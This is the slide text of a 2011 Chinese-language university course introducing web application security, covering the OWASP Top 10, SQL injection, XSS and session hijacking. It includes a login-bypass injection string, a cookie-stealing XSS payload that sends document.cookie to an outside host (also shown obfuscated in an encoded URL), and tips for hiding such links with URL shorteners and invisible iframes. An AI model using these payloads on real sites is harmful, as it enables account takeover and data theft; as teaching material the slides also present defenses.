中央大學電子計算機中心 「多媒體與網路應用」 資訊推廣課程 網頁應用程式的安全入門 日期: 2011/03/27 講師:資工三 張竟 cwebb [dot] tw [at] gmail [dot] com Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 2 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 3 不要做壞事! 4 不要被抓到! 5 不要被抓到! 6 不要說我教的 7 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 8 網頁安全? 早年 vs 現代 靜態 vs 動態 有程式 就有漏洞! 9 ways to attack OS web server web application 10 attack scenarios attack web server gain privilege steal informations to attack users attack other user steal informations execute other attacks may be composite 11 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 12 13 OWASP Top 10 A1: Injection2010 A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) 14 OWASP Top 10 2010 A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards 15 OWASP Top 10 A1: Injection2010 A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) 16 OWASP Top 10 2010 A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards 17 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 18 Injections 駭客的填空遊戲 where can attacker inject? database (MySQL, MS SQL, PostgreSQL ... ) no-sql Directory Service (LDAP) system command!! 19 how SQL works in web login page for example sql server client web server 20 Why SQL? 廣大使用 儲存大量的網站資料 injection friendly 21 how injections work? 以MySQL為例子 $query = “select from account where `id`=’$id’ and `pwd`=’$pwd’ $id=’ or 1=1 -> select from account where `id`=’’ -- .... 22 attack skills union blind attack 23 影響 資料被偷/被改 獲得網站權限 整個網站被拿下# 24 how to defense safe API 過濾逃脫字元 不要直接把使用者輸入加入query 找程式掃描弱點 25 Practice 26 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 27 XSS Cross Site Scripting 在別人的網站上寫程式! 28 background knowledge HTTP GET HTTP POST 29 how to attack attack using POST/GET the “scripting” in the server strange url 30 how to attack javascript <iframe> / <image> 31 example <body> <? echo “Hello ”.$_GET[‘id’].”; ?> </body> http://goodsite.com/?id=<script>alert(“i’m Orange”)</script> 32 what may happened? take you to bad site send your information to attacker Just For Fun! 33 Just For Fun Samy MySpace XSS attack Samy is my hero! Infection 34 Big Site also XSSable MySpace Facebook twitter Plurk ... 35 how to defense for server 該逃的還是要逃 找程式掃描弱點 for user 看到奇怪連結要警覺 瀏覽器 / 防毒軟體 36 practice 37 Agenda 嘴砲 OWSAP Top 10 SQL injection XSS cookie & session 38 background knowledge cookie A cookie is a piece of text stored by a user's web browser. A cookie can be used for authentication, storing site preferences, shopping cart contents, the identifier for a server-based session, or anything else that can be accomplished through storing text data. session The session information is stored on the web server using the session identifier (session ID) generated as a result of the first (sometimes the first authenticated) request from the end user running a web browser. The "storage" of session IDs and the associated session data (user name, account number, etc.) on the web server is accomplished using a variety of techniques including, but not limited to: local memory, flat files, and databases. 39 40 41 如果偷到了cookie 可以.... 42 how to steal it? 43 44 把cookie送到雲端! 用GET / POST方式讓網頁把cookie 送走 <img> / <iframe> ex: ["<img src='http://in1.ncu.cc/~975002063/keke/t.php?t=",document.cookie," >"].join( sever side is simple just keep the cookie 45 http://example.com/?samname=%22%3E%3Cscript%3Edocument.write%28[String.fromCharCode%2860,105,109,103,3 2,115,114,99,61,39,104,116,116,112,58,47,47,105,110,49,46,110,99,117,46,99,99,47,126,57,55,53,48,48,50,48,54,51,47, 107,101,107,101,47,116,46,112,104,112,63,116,61,34%29,document.cookie,String.fromCharCode%2834,39,62%29].join %28%29%29;%3C/script%3E%3C%22 哪個白痴 會點這鬼連結 46 hidden 有種東西叫短網址 (tinyurl.com / 0rz.tw / goo.gl / bit.ly) 塞進別的網頁裡 (ex: iframe長寬設0或1) ugly url EVERY WHERE https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2Fm ail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1eic6yu9oa4y3&scc=1&ltmpl=default&ltmplcache=2 https://login.yahoo.com/config/login?.intl=tw&.pd=c%3d7pP3Kh2p2e4XklntZWWfDLAC8w-&.done=https://tw.login.yahoo.com/cgi-bin/kcookie.cgi/www/http%3a//tw.yahoo.com&rl=1 47 防範 鎖定user agent / header 綁IP *不要被攻擊成功* 48 鎖定user agent / header if (isset($_SESSION['HTTP_USER_AGENT'])){ if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { exit(); }}else{ $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);} 但是... 當你偷的到cookie 會拿不到header 嗎? 49 Practice 50 Q&A? 51 52 Reference http://www.owasp.org/ http://en.wikipedia.org/ http://goo.gl/cA3a http://goo.gl/IwGbX http://goo.gl/uQ4I1 53